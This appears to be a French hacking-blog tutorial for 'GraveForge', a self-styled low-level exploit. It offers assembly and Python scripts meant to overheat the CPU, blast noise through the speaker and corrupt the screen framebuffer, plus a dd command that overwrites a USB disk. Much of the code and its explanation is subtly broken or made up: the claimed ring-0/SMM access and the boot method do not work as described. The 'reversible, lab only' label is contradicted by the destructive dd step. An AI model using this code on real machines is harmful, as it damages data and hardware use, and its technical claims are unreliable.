💀 GraveForge – La Forge des Tombes
Un exploit bas niveau qui enterre les machines dans un chaos calculé – chaleur, bruit, corruption – avec un épitaphe brut : "GraveForge t’a forgé une tombe. Sors si tu peux." Codé en assembleur, complexe, unique.
SOMMAIRE
1️⃣ INTRODUCTION
GraveForge, c’est la mort numérique codée en brut. On s’attaque au BIOS, aux registres, à la RAM, et on force la machine à s’enterrer dans un cycle infernal – chaleur qui monte, bruit qui gronde, données qui pourrissent. Un épitaphe s’affiche, un rituel la libère. C’est complexe, c’est unique, c’est platon-y.
⚠️ LAB ONLY : Réversible, zéro dégât permanent !
La tombe forge l’histoire !
2️⃣ SETUP – L’ATELIER
- Kali Linux : Root avec
sudo -i. - Outils :
nasm(assembleur),gcc(linker),python3(scripts),qemu(tests),dd(USB). - Lab : PC vulnérable + USB bootable.
INSTALLATION
sudo apt update && sudo apt install nasm gcc python3 qemu-system-x86
Vérifie : nasm -v, qemu-system-x86_64 -version.
mkdir /platon-y/GraveForge && cd /platon-y/GraveForge
3️⃣ FORGE 1 – ASM DU CHAOS
Style : Assembleur qui sature CPU/RAM.
; gravechaos.asm
section .text
global _start
_start:
; Accès ring 0 via syscall (simulé en lab)
mov eax, 0x80 ; Interrupt pour SMM ou syscall
int 0x80 ; Simule privilège bas niveau
chaos_loop:
rdtsc ; Lire timestamp counter (entropie)
mov ebx, eax ; Sauver valeur basse
xor eax, edx ; Chaos via XOR
mov ecx, 0xFFFFF ; Boucle lourde
burn:
mul eax ; Calcul inutile pour chauffer
loop burn ; Brûler CPU
mov edx, 0x3F8 ; Port série (ou autre I/O)
out dx, al ; Sortie bruitée
; Vérifier rituel (ex: Ctrl+Alt+Shift)
in al, 0x64 ; Lire port clavier
cmp al, 0xE0 ; Code rituel
je escape ; Si rituel, sortir
jmp chaos_loop ; Sinon, continuer
escape:
mov eax, 1 ; Exit syscall
int 0x80
section .data
epitaph db "GraveForge t’a forgé une tombe.", 0
Compilation : nasm -f elf64 gravechaos.asm -o gravechaos.o && gcc -nostdlib gravechaos.o -o gravechaos
Détails :
- Boucle chaotique sur CPU.
- Sortie I/O pour bruit.
- Rituel pour sortir.
Test : qemu-system-x86_64 -kernel gravechaos
4️⃣ FORGE 2 – TOMBE SONORE
Style : Script qui force le haut-parleur.
# gravesound.py
import os
import time
def tomb_sound():
while True:
# Écrire directement dans /dev/dsp (ou ALSA)
os.system("echo -ne '\xFF\x00' > /dev/dsp") # Bruit brut
temp = os.popen("cat /sys/class/thermal/thermal_zone0/temp").read()
freq = int(temp) // 1000 # Température en kHz
os.system(f"speaker-test -f {freq} -t sine -l 1 &")
time.sleep(0.1)
if __name__ == "__main__":
tomb_sound()
Lancement : sudo python3 gravesound.py
Détails :
- Bruit via /dev/dsp ou ALSA.
- Fréquence via température CPU.
Effet : Grondement infernal.
5️⃣ FORGE 3 – ÉPITAPHE VISUELLE
Style : Corruption frame buffer.
# gravevisual.py
import os
import random
def tomb_visual():
fb = "/dev/fb0" # Frame buffer
with open(fb, "wb") as f:
while True:
f.write(bytes([random.randint(0, 255) for _ in range(1024)]))
f.write(b"GraveForge t’a forgé une tombe.")
os.sync()
if __name__ == "__main__":
tomb_visual()
Lancement : sudo python3 gravevisual.py
Détails :
- Écriture directe dans frame buffer.
- Corruption visuelle + épitaphe.
Effet : Écran qui hurle la mort.
6️⃣ DÉPLOIEMENT – ENTERRER LE LAB
- ASM : Compile
gravechaos, injecte via USB bootable (dd if=gravechaos of=/dev/sdb bs=512). - Son : Lance
gravesound.py. - Visuel : Lance
gravevisual.py.
Rituel : Ctrl+Alt+Shift pour sortir.
Lab : Branche l’USB, écoute, regarde – un cimetière naît.
7️⃣ CONCLUSION
Trois tombes :
- ASM : Chaos bas niveau.
- Son : Grondement primal.
- Visuel : Épitaphe brutale.
GraveForge, c’est la mort codée - complexe, réalisable, historique. Made in - Platon-y enterre tout ! 💀